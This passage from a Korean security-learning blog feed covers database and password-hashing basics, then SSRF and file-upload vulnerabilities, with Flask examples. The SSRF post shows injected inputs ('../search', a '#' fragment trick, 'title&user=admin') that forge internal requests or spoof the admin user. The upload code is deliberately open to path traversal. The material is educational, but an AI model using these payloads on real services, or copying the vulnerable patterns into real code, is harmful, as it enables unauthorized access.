<p><b>데이터베이스는 단순히 데이터를 쌓아두는 공간이 아니다.</b> 현대 웹 서비스는 다양한 기능을 제공하는데, 예를 들어 <b>어떤 사이트에 회원가입을 하고 로그인해 게시글을 쓸 수 있는 것도 웹 서버가 데이터베이스를 사용하여 회원 정보와 게시글을 저장하고 조회, 수정하기 때문이다.</b> 다수의 사람들이 동시에 데이터를 생성하고 참조하고 수정하는 웹 서버의 특수한 환경에 가장 적합한 자료구조로 채택된 것이 데이터베이스이며, 최근의 웹 서비스에는 거의 필수적으로 포함된다.</p>
<h3>DBMS</h3>
<p>데이터베이스를 관리하는 애플리케이션을 **DBMS(DataBase Management System)**라고 한다. DBMS는 데이터베이스에 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 한다. 다수의 사람이 동시에 데이터베이스에 접근할 수 있고, 웹 서비스의 검색 기능과 같이 복잡한 요구사항을 만족하는 데이터를 조회할 수 있다는 것이 DBMS의 핵심 특징이다.</p>
<p>DBMS는 크게 **관계형(Relational)**과 **비관계형(Non-Relational)**으로 분류된다. 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장하고, 비관계형은 테이블 형식이 아닌 키-값(Key-Value) 형태로 값을 저장한다. 관계형 DBMS의 대표적인 예로는 MySQL, PostgreSQL, SQLite가 있고, 비관계형 DBMS로는 MongoDB, Redis 등이 있다.</p>
<h3>RDBMS</h3>
<p>**RDBMS(Relational DBMS)**는 1970년에 Codd가 12가지 규칙을 정의하여 만든 데이터베이스 모델이다. 행(Row)과 열(Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고, 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공한다. 실제로 구현된 RDBMS들이 12가지 규칙을 모두 따르지는 않았고, 최소한의 조건으로 앞의 두 조건을 만족하는 DBMS를 RDBMS라고 부르게 되었다.</p>
<p>학교라는 데이터베이스 안에 학생 명부, 출석부, 성적표, 생활기록부 등이 각각 테이블 형태로 관리되고, 각 테이블의 정보를 참조할 때는 학번이라는 고유 키를 사용한다. 아래처럼 학생 명부와 출석부가 독립된 테이블로 존재하지만, 학번을 통해 서로 연결된다.</p>
<table>
<thead>
<tr>
<th>학번</th>
<th>이름</th>
<th>생년월일</th>
<th>번호</th>
</tr>
</thead>
<tbody><tr>
<td>20211234</td>
<td>감귤</td>
<td>2020.04.01</td>
<td>010-1337-1337</td>
</tr>
<tr>
<td>20211235</td>
<td>오리</td>
<td>2016.01.01</td>
<td>070-8864-1337</td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>학번</th>
<th>04/05</th>
<th>04/12</th>
<th>04/19</th>
</tr>
</thead>
<tbody><tr>
<td>20211234</td>
<td>출석</td>
<td>공결</td>
<td>출석</td>
</tr>
<tr>
<td>20211235</td>
<td>지각</td>
<td>결석</td>
<td>출석</td>
</tr>
</tbody></table>
<h3>SQL</h3>
<p>RDBMS에서 관계 연산자는 **SQL(Structured Query Language)**이라는 쿼리 언어를 사용한다. SQL은 웹 애플리케이션이 DBMS와 상호작용할 때 사용하는 언어로, 사용 목적에 따라 크게 세 가지로 나뉜다.</p>
<p>**DDL(Data Definition Language)**은 데이터를 저장하기 위한 스키마나 데이터베이스 자체를 생성, 수정, 삭제하는 데 쓰인다.<br>**DML(Data Manipulation Language)**은 실제 데이터에 대해 조회, 저장, 수정, 삭제를 수행한다.<br>**DCL(Data Control Language)**은 데이터베이스 내 이용자의 접근 권한을 부여하거나 박탈하는 데 사용한다.</p>
<p>실제로 어떻게 쓰이는지 예시를 보면 흐름이 명확하게 보인다. 먼저 DDL로 데이터베이스와 테이블을 정의하고,</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">CREATE</span> DATABASE Dreamhack;

USE Dreamhack;
<span class="hljs-keyword">CREATE TABLE</span> Board(
    idx <span class="hljs-type">INT</span> AUTO_INCREMENT,
    boardTitle <span class="hljs-type">VARCHAR</span>(<span class="hljs-number">100</span>) <span class="hljs-keyword">NOT NULL</span>,
    boardContent <span class="hljs-type">VARCHAR</span>(<span class="hljs-number">2000</span>) <span class="hljs-keyword">NOT NULL</span>,
    <span class="hljs-keyword">PRIMARY KEY</span>(idx)
);</code></pre>
<p>그 다음 DML로 데이터를 실제로 넣고, 조회하고, 수정한다.</p>
<pre><code class="hljs language-sql"><span class="hljs-comment">-- 데이터 삽입</span>
<span class="hljs-keyword">INSERT INTO</span> Board(boardTitle, boardContent) <span class="hljs-keyword">VALUES</span>(<span class="hljs-string">&#x27;Hello&#x27;</span>, <span class="hljs-string">&#x27;World!&#x27;</span>);

<span class="hljs-comment">-- 데이터 조회</span>
<span class="hljs-keyword">SELECT</span> boardTitle, boardContent <span class="hljs-keyword">FROM</span> Board <span class="hljs-keyword">WHERE</span> idx<span class="hljs-operator">=</span><span class="hljs-number">1</span>;

<span class="hljs-comment">-- 데이터 수정</span>
<span class="hljs-keyword">UPDATE</span> Board <span class="hljs-keyword">SET</span> boardContent<span class="hljs-operator">=</span><span class="hljs-string">&#x27;DreamHack!&#x27;</span> <span class="hljs-keyword">WHERE</span> idx<span class="hljs-operator">=</span><span class="hljs-number">1</span>;</code></pre>
<h3>해시</h3>
<p>데이터베이스에 사용자 정보를 저장할 때, 비밀번호를 그대로 저장하면 데이터베이스가 털렸을 때 모든 비밀번호가 그대로 노출된다. 이는 심각한 문제를 초래한다. 이 문제를 해결하기 위해 등장한 개념이 **해시(Hash)**다.</p>
<p>해시는 임의의 데이터를 고정된 길이의 값으로 변환하는 단방향 함수다. &quot;hello&quot;를 SHA-256으로 해시하면 항상 동일한 긴 문자열이 나오지만, 그 문자열을 보고 &quot;hello&quot;를 역으로 복원하는 것은 불가능하다. 입력값이 단 1글자만 바뀌어도 결과값이 완전히 달라지는 **눈사태 효과(Avalanche Effect)**도 특징이다. 이런 성질 때문에 비밀번호를 해시값으로 저장해두면, DB가 유출되더라도 원본 비밀번호를 알기 어렵다.</p>
<p>그런데 여기서 문제가 생긴다. 같은 비밀번호는 항상 같은 해시값을 만들어내기 때문에, 해커들은 미리 수많은 비밀번호의 해시값을 계산해 표로 만들어두고 대조하는 <b>레인보우 테이블 공격</b>을 사용한다. &quot;123456&quot;의 SHA-256 해시값은 전 세계 어디서나 동일하니까. 결국 빠르고 단순한 해시 알고리즘만으로는 비밀번호를 안전하게 보호하기 어렵다.</p>
<p>**브루트 포스(Brute Force)**는 가능한 모든 경우의 수를 하나씩 대입해보는 공격 방식이다. 비밀번호가 4자리 숫자라면 0000부터 9999까지 전부 시도해보는 식이다. 단순하지만 시간만 충분하다면 반드시 뚫리는 공격이라는 점에서 무시할 수 없다.<br>해시와의 관계에서 보면, 레인보우 테이블 공격이 미리 계산된 표를 가져다 대조하는 방식이라면, 브루트 포스는 실시간으로 모든 조합을 직접 해시해서 비교하는 방식이다. SHA-256처럼 연산 속도가 빠른 알고리즘은 현대 GPU를 활용하면 초당 수백억 번의 해시 연산이 가능하기 때문에, 짧거나 단순한 비밀번호는 브루트 포스에 순식간에 뚫린다.</p>
<h3>bcrypt</h3>
<p>이 문제를 해결하기 위해 등장한 것이 <b>bcrypt</b>다. 1999년 비밀번호 저장만을 위해 특별히 설계된 알고리즘으로, 두 가지 핵심 장치를 가지고 있다.</p>
<p>첫 번째는 **Salt(솔트)**다. 해시를 계산하기 전에 비밀번호에 랜덤한 고유값을 붙여버린다. 그러면 같은 &quot;123456&quot;이라도 사용자마다 전혀 다른 해시값이 만들어지기 때문에 레인보우 테이블 공격이 완전히 무력화된다.</p>
<p>두 번째는 **Cost Factor(비용 인수)**다. 내부적으로 해시 연산을 2의 n승만큼 반복하도록 설계되어 있어, 숫자를 높일수록 해시 생성이 느려진다. 사용자 입장에서는 로그인할 때 0.1~0.3초 정도의 차이에 불과하지만, 해커 입장에서는 수백만 번을 시도해야 하므로 그 차이가 엄청나다. 더 나아가 하드웨어가 발전할수록 이 값을 올려서 보안 수준을 유지할 수 있다는 것도 큰 장점이다.</p>
<p>이로 인해 해시 하나를 계산하는 데 의도적으로 시간이 걸리도록 설계되어 있기 때문에, 초당 시도할 수 있는 횟수가 SHA-256에 비해 수백만 배 이상 줄어든다. <b>공격자 입장에서 현실적으로 시도 자체가 불가능한 수준이 되는 것이다.</b></p>
<p>결과적으로 bcrypt가 저장하는 해시값에는 버전 정보, cost 값, salt, 실제 해시가 하나의 문자열에 모두 담겨 있어서 검증할 때도 별도의 정보 없이 비교가 가능하다.</p>
<h3>마무리</h3>
<p>DB와 암호화의 중요성에 대해 알게되었다!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>데이터베이스</category><category>보안</category><category>인프라</category>
    </item>
    <item>
      <title>[보안] SSRF 부셔보기!</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-SSRF-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-SSRF-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Mon, 27 Apr 2026 09:48:30 GMT</pubDate>
      <description><![CDATA[<p>웹 개발 언어는 HTTP 요청을 전송하는 라이브러리를 제공한다. 각 언어별 HTTP 라이브러리는 PHP의 php-curl, NodeJS는 http, 파이썬은 urllib, requests 등이 있다. 이러한 라이브러리는 단순히 HTTP 요청을 보낼 클라이언트 뿐만 아니라 <b>서버와 서버간 통신을 위해 사용되기도 한다.</b> 예를 들어, <b>마이크로서비스 간 통신,</b> 외부 API 호출, 외부 웹 리소스 다운로드 등이 있다. 기존의 웹 서비스는 단일 서비스로 구현할 수 있었지만 최근의 웹 서비스는 지원하는 기능이 증가함에 따라 구성요소가 증가했다. 이에 따라 관리 및 코드의 복잡도를 낮추기 위해 <b>마이크로서비스들로 웹 서비스를 구현하는 추세이다.</b></p>
<blockquote>
<p>마이크로서비스란, 소프트웨어가 잘 정의된 API를 통해 통신하는 <b>소규모의 독립적인 서비스로 구성되어 있는 경우의 소프트웨어 개발을 위한 아키텍처.</b></p>
</blockquote>
<h2>SSRF</h2>
<p>이처럼 서비스 간 HTTP 통신이 이뤄질 때 요청 내에 이용자의 입력값이 포함될 수 있다. 이용자의 입력값으로 포함되면 개발자가 의도하지 않은 요청이 전송될 수 있다. **Server-side Request Forgery(SSRF)**는 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 <b><a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-CSRF-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0%EC%99%80-CORS-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0" target="_blank" rel="noopener">CSRF</a>와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.</b></p>
<p><img src="https://velog.velcdn.com/images/njw/post/700d4e3d-3bdb-4d1a-a484-c78b6574378f/image.png" alt="[보안] SSRF 부셔보기!" width="1280" height="720" loading="lazy" decoding="async"></p>
<p>최근의 대다수 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 <b>SSRF 취약점의 파급력이 더욱 높아지고 있다.</b></p>
<p>백오피스와 같은 기능을 사용하는 웹 서비스들은 관리자만 기능을 사용할 수 있어야 하기 때문에 <b>내부망만 접속가능하도록 구성한다.</b></p>
<p>이러한 내부망 서비스들을 외부에서는 접속 불가능하지만 <b>웹 서비스 자체는 접속할 수 있어야 하기 때문에 외부에서 직접 접근할 수 없는 내부망 서비스와 접속이 허용되어 있다.</b></p>
<p>만약 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낼 수 있다면 <b>공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있고, 이는 곧 기업에 막대한 피해를 입힐 수 있다.</b></p>
<p>웹 서비스가 보내는 요청을 변조하기 위해서는 요청 내에 이용자의 입력값이 포함돼야 한다. <b>입력값이 포함되는 예시로는 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우, 그리고 이용자가 입력한 값이 HTTP Body에 포함되는 경우로 나눠볼 수 있다.</b></p>
<h3>이용자가 입력한 URL에 요청을 보내는 경우</h3>
<p><b>이용자가 입력한 URL에 요청을 보내는 예시 코드</b></p>
<pre><code class="hljs language-dns"># pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.

from flask import Flask, request
import requests

app = Flask<span class="hljs-punctuation">(</span>__name__<span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/image_downloader&quot;</span><span class="hljs-punctuation">)</span>
def image_downloader<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;image_url&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span> # URL 파라미터에서 image_url 값을 가져옵니다.
    response = requests.get<span class="hljs-punctuation">(</span>image_url<span class="hljs-punctuation">)</span> # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
    return <span class="hljs-punctuation">(</span> # 아래의 <span class="hljs-number">3</span>가지 정보를 반환합니다.
        response.content, # HTTP 응답으로 온 데이터
        <span class="hljs-number">200</span>, # HTTP 응답 코드
        {<span class="hljs-string">&quot;Content-Type&quot;</span>: response.headers.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;Content-Type&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>}, # HTTP 응답으로 온 헤더 중 Content-Type<span class="hljs-punctuation">(</span>응답 내용의 타입<span class="hljs-punctuation">)</span>
    <span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/request_info&quot;</span><span class="hljs-punctuation">)</span>
def request_info<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    # 접속한 브라우저<span class="hljs-punctuation">(</span>User-Agent<span class="hljs-punctuation">)</span>의 정보를 출력하는 페이지 입니다.
    return request.user_agent.string
    
    
app.run<span class="hljs-punctuation">(</span>host=<span class="hljs-string">&quot;127.0.0.1&quot;</span>, port=<span class="hljs-number">8000</span><span class="hljs-punctuation">)</span></code></pre>
<p>위 경로에 접속하면 image_downloader에서는 <a href="http://127.0.0.1:8000/request_info" target="_blank" rel="noopener">http://127.0.0.1:8000/request_info</a> URL에 HTTP 요청을 보내고 응답을 반환한다. 반환한 값을 확인해보면 브라우저로 request_info 엔드포인트에 접속했을 때와 다르게 <b>브라우저 정보가 python-requests/<LIBRARY_VERSION>인 것을 확인할 수 있다.</b></p>
<p><code>http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info</code></p>
<p>접속한 브라우저 정보로 <b>python-requests가 출력된 이유는 웹 서비스에서 HTTP 요청을 보냈기 때문이다.</b> 이처럼 이용자가 웹 서비스에서 사용하는 마이크로서비스의 API 주소를 알아내고, image_url에 주소를 전달하면 <b>외부에서 직접 접근할 수 없는 마이크로서비스의 기능을 임의로 사용할 수 있다.</b></p>
<h3>웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우</h3>
<p><b>웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우 예시 코드</b></p>
<pre><code class="hljs language-dns">INTERNAL_API = <span class="hljs-string">&quot;http://api.internal/&quot;</span>
# INTERNAL_API = <span class="hljs-string">&quot;http://172.17.0.3/&quot;</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/v1/api/user/information&quot;</span><span class="hljs-punctuation">)</span>
def user_info<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    user_idx = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;user_idx&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>
    response = requests.get<span class="hljs-punctuation">(</span>f<span class="hljs-string">&quot;{INTERNAL_API}/user/{user_idx}&quot;</span><span class="hljs-punctuation">)</span>
    

@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/v1/api/user/search&quot;</span><span class="hljs-punctuation">)</span>
def user_search<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    user_name = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;user_name&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>
    user_type = <span class="hljs-string">&quot;public&quot;</span>
    response = requests.get<span class="hljs-punctuation">(</span>f<span class="hljs-string">&quot;{INTERNAL_API}/user/search?user_name={user_name}&amp;user_type={user_type}&quot;</span><span class="hljs-punctuation">)</span></code></pre>
<p><b>웹 서비스가 요청하는 URL에 이용자의 입력값이 포함되면 요청을 변조할 수 있다.</b> 이용자의 입력값 중 URL의 구성 요소 문자를 삽입하면 API 경로를 조작할 수 있다. 예를 들어, 예시 코드의 <code>user_info</code> 함수에서 <code>user_idx</code>에 <code>../search</code>를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.</p>
<pre><code class="hljs language-dts"><span class="hljs-symbol">http:</span><span class="hljs-comment">//api.internal/search</span></code></pre>
<p><code>..</code>는 상위 경로로 이동하기 위한 구분자로, 해당 문자로 요청을 보내는 경로를 조작할 수 있다. <b>해당 취약점은 경로를 변조한다는 의미에서 <a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-File-Vulnerability-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0#path-traversal" target="_blank" rel="noopener">Path Traversal</a>이라고 불린다.</b></p>
<p>이 외에도, <code>#</code> 문자를 입력해 경로를 조작할 수 있다. 예를 들어, <code>user_search</code> 함수에서 <code>user_name</code>에 <code>secret&amp;user_type=private#</code>를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.</p>
<pre><code class="hljs language-ruby"><span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/api.internal/search</span>?user_name=secret&amp;user_type=<span class="hljs-keyword">private</span><span class="hljs-comment">#&amp;user_type=public</span></code></pre>
<p><b><code>#</code> 문자는 Fragment Identifier 구분자로, 뒤에 붙는 문자열은 API 경로에서 생략된다. 따라서 해당 URL은 실제로 아래와 같은 URL을 나타낸다.</b></p>
<pre><code class="hljs language-dts"><span class="hljs-symbol">http:</span><span class="hljs-comment">//api.internal/search?user_name=secret&amp;user_type=private</span></code></pre>
<h3>웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우</h3>
<p><b>웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우 예시 코드</b></p>
<pre><code class="hljs language-routeros"><span class="hljs-comment"># pip3 install flask</span>
<span class="hljs-comment"># python main.py</span>

<span class="hljs-keyword">from</span> flask import Flask, request, session
import requests
<span class="hljs-keyword">from</span> os import urandom


app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = <span class="hljs-string">&quot;http://127.0.0.1:8000/&quot;</span>
header = {<span class="hljs-string">&quot;Content-Type&quot;</span>: <span class="hljs-string">&quot;application/x-www-form-urlencoded&quot;</span>}


@app.route(<span class="hljs-string">&quot;/v1/api/board/write&quot;</span>, methods=[<span class="hljs-string">&quot;POST&quot;</span>])
def board_write():
    session[<span class="hljs-string">&quot;idx&quot;</span>] = <span class="hljs-string">&quot;guest&quot;</span> # session idx를 guest로 설정합니다.
    title = request.form.<span class="hljs-built_in">get</span>(<span class="hljs-string">&quot;title&quot;</span>, <span class="hljs-string">&quot;&quot;</span>) # title 값을 form 데이터에서 가져옵니다.
    body = request.form.<span class="hljs-built_in">get</span>(<span class="hljs-string">&quot;body&quot;</span>, <span class="hljs-string">&quot;&quot;</span>) # body 값을 form 데이터에서 가져옵니다.
    data = f<span class="hljs-string">&quot;title={title}&amp;body={body}&amp;user={session[&#x27;idx&#x27;]}&quot;</span> # 전송할 데이터를 구성합니다.
    response = requests.post(f<span class="hljs-string">&quot;{INTERNAL_API}/board/write&quot;</span>, <span class="hljs-attribute">headers</span>=header, <span class="hljs-attribute">data</span>=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content # INTERNAL API 의 응답 결과를 반환합니다.
    
    
@app.route(<span class="hljs-string">&quot;/board/write&quot;</span>, methods=[<span class="hljs-string">&quot;POST&quot;</span>])
def internal_board_write():
    # form 데이터로 입력받은 값을 JSON 형식으로 반환합니다.
    title = request.form.<span class="hljs-built_in">get</span>(<span class="hljs-string">&quot;title&quot;</span>, <span class="hljs-string">&quot;&quot;</span>)
    body = request.form.<span class="hljs-built_in">get</span>(<span class="hljs-string">&quot;body&quot;</span>, <span class="hljs-string">&quot;&quot;</span>)
   <span class="hljs-built_in"> user </span>= request.form.<span class="hljs-built_in">get</span>(<span class="hljs-string">&quot;user&quot;</span>, <span class="hljs-string">&quot;&quot;</span>)
    <span class="hljs-built_in">info</span> = {
        <span class="hljs-string">&quot;title&quot;</span>: title,
        <span class="hljs-string">&quot;body&quot;</span>: body,
        <span class="hljs-string">&quot;user&quot;</span>: user,
    }
    return <span class="hljs-built_in">info</span>
    
    
@app.route(<span class="hljs-string">&quot;/&quot;</span>)
def index():
    # board_write 기능을 호출하기 위한 페이지입니다.
    return <span class="hljs-string">&quot;&quot;</span><span class="hljs-string">&quot;
        &lt;form action=&quot;</span>/v1/api/board/write<span class="hljs-string">&quot; method=&quot;</span>POST<span class="hljs-string">&quot;&gt;
            &lt;input type=&quot;</span>text<span class="hljs-string">&quot; placeholder=&quot;</span>title<span class="hljs-string">&quot; name=&quot;</span>title<span class="hljs-string">&quot;/&gt;&lt;br/&gt;
            &lt;input type=&quot;</span>text<span class="hljs-string">&quot; placeholder=&quot;</span>body<span class="hljs-string">&quot; name=&quot;</span>body<span class="hljs-string">&quot;/&gt;&lt;br/&gt;
            &lt;input type=&quot;</span>submit<span class="hljs-string">&quot;/&gt;
        &lt;/form&gt;
    &quot;</span><span class="hljs-string">&quot;&quot;</span>
    
    
app.<span class="hljs-built_in">run</span>(<span class="hljs-attribute">host</span>=<span class="hljs-string">&quot;127.0.0.1&quot;</span>, <span class="hljs-attribute">port</span>=8000, <span class="hljs-attribute">debug</span>=<span class="hljs-literal">True</span>)</code></pre>
<p>위 코드를 실행하고 URL에 접속하면 title과 body를 입력하는 페이지가 표시된다.</p>
<p>입력창에 값을 입력하고 제출 버튼을 누르면 다음과 같은 응답을 확인할 수 있다.</p>
<p><code>{ &quot;body&quot;: &quot;body&quot;, &quot;title&quot;: &quot;title&quot;, &quot;user&quot;: &quot;guest&quot; }</code></p>
<p>요청을 전송할 때 세션 정보를 <code>&quot;guest&quot;</code>로 설정했기 때문에 <b><code>user</code>가 <code>&quot;guest&quot;</code>인 것을 확인할 수 있다. 예시 코드를 살펴보면, 내부 API로 요청을 보내기 전에 다음과 같이 데이터를 구성하는 것을 확인할 수 있다.</b></p>
<p><code>data = f&quot;title={title}&amp;body={body}&amp;user={session[&#39;idx&#39;]}</code></p>
<p>데이터를 구성할 때 이용자의 입력값인 <code>title</code>, <code>body</code> 그리고 <code>user</code>의 값을 파라미터 형식으로 설정한다. 이로 인해 이용자가 URL에서 파라미터를 구분하기 위해 사용하는 구분 문자인 <b><code>&amp;</code>를 포함하면 설정되는 <code>data</code>의 값을 변조할 수 있다. <code>title</code>에서 <code>title&amp;user=admin</code>를 삽입하면 다음과 같이 <code>data</code>가 구성된다.</b></p>
<pre><code class="hljs language-freedesktop"><span class="hljs-attr">title</span><span class="hljs-operator">=</span>title&amp;user<span class="hljs-operator">=</span>admin&amp;body<span class="hljs-operator">=</span>body&amp;user<span class="hljs-operator">=</span>guest</code></pre>
<p>이용자가 <code>&amp;</code> 구분자를 포함해 <code>user</code> 파라미터를 추가했다. 내부 API에서는 전달받은 값을 파싱할 때 앞에 존재하는 파라미터의 값을 가져와 사용하기 때문에 <b><code>user</code>의 값을 변조할 수 있다.</b> <code>title&amp;user=admin</code>를 삽입했을 때의 실행 결과를 확인해보면 <b><code>user</code>가 <code>&quot;admin&quot;</code>으로 변조된 것을 확인할 수 있다.</b></p>
<pre><code class="hljs language-css">{ &quot;<span class="hljs-selector-tag">body</span>&quot;: <span class="hljs-string">&quot;body&quot;</span>, <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;title&quot;</span>, <span class="hljs-string">&quot;user&quot;</span>: <span class="hljs-string">&quot;admin&quot;</span> }</code></pre>
<h2>마무리</h2>
<p>ssrf에 대해 알아보았다.<br>csrf는 클라이언트 사이드 리퀘스트 포저리!<br>ssrf는 서버 사이드 리퀘스트 포저리!<br>`</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] File Vulnerability 부셔보기!</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-File-Vulnerability-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-File-Vulnerability-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Mon, 27 Apr 2026 04:50:31 GMT</pubDate>
      <description><![CDATA[<h2>File Vulnerability</h2>
<p>웹 사이트에서 파일을 업로드할 때 파일 자체를 데이터베이스에 저장하는 것 보다는 파일은 OS의 파일 시스템에 저장하는 것이 개발하기도 쉽고 관리 효율도 좋다.</p>
<p>하지만 이러한 파일과 관련해서 임의 파일이 다운로드 되는 취약점이나 악성 파일을 업로드 해 셸 권한을 취득할 수 있는 취약점이 존재하기도 한다.</p>
<p>파일 업로드와 관련해서 발생하는 취약점은 **파일 업로드 취약점(File Upload Vulnerability)**라고 하며, 반대로 내려 받을때 발생하는 취약점은 **파일 다운로드 취약점(File Download Vulnerability)**라고 한다.</p>
<blockquote>
<p>File Upload Vulnerability이란, 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점이다. 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생한다. 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.</p>
</blockquote>
<blockquote>
<p>File Download Vulnerability이란, 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드 하는 과정에서 발생하는 보안 취약점이다. 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다. 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.</p>
</blockquote>
<h3>Path Traversal</h3>
<p>이 중 <b>Path Traversal은 웹 서비스에서 처리되는 파일의 이름을 이용자가 임의로 지정할 수 있는 권한이 있을 때 발생하는 취약점</b>이다. 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉터리에만 업로드를 허용한다. 만약 이러한 제한이 없다면, 악의적인 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다. <b>Path Traversal 취약점은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉터리에 파일을 업로드할 수 있는 취약점</b>을 말한다.</p>
<h3>File Upload Vulnerability</h3>
<p><b>파일 업로드 취약점(File Upload Vulnerability)은 웹 서비스에 파일을 업로드하는 과정에서 발생하는 취약점</b>이다. <b>파일 이름에 이용자가 입력한 문자열을 그대로 사용하거나, 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴이 이러한 취약점을 발생</b>시킬 수 있다. </p>
<p>아래는 <b>Path Traversal 취약점이 있는 코드</b>이다. /fileUpload는 POST 요청을 받으면, 클라이언트가 전송한 파일을 ./uploads에 저장한다. 그런데 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다. 예를 들어, <b>공격자가 ../와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉터리에도 파일을 업로드</b>할 수 있다.</p>
<p><b>파일 업로드 기능이 취약한 웹 서비스 코드</b></p>
<pre><code class="hljs language-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request
app = Flask(__name__)
<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/fileUpload&#x27;</span>, methods = [<span class="hljs-string">&#x27;GET&#x27;</span>, <span class="hljs-string">&#x27;POST&#x27;</span>]</span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">upload_file</span>():
    <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">&#x27;POST&#x27;</span>:
        f = request.files[<span class="hljs-string">&#x27;file&#x27;</span>]
        f.save(<span class="hljs-string">&quot;./uploads/&quot;</span> + f.filename)
        <span class="hljs-keyword">return</span> <span class="hljs-string">&#x27;Upload Success&#x27;</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;&quot;&quot;
        &lt;form action=&quot;/fileUpload&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
            &lt;input type=&quot;file&quot; name=&quot;file&quot; /&gt;
            &lt;input type=&quot;submit&quot;/&gt;
        &lt;/form&gt;
        &quot;&quot;&quot;</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    app.run()</code></pre>
<h4>정상적인 요청</h4>
<pre><code class="hljs language-dart">POST /fileUpload HTTP/<span class="hljs-number">1.1</span>
<span class="hljs-title class_">Host</span>: storage.dreamhack.io
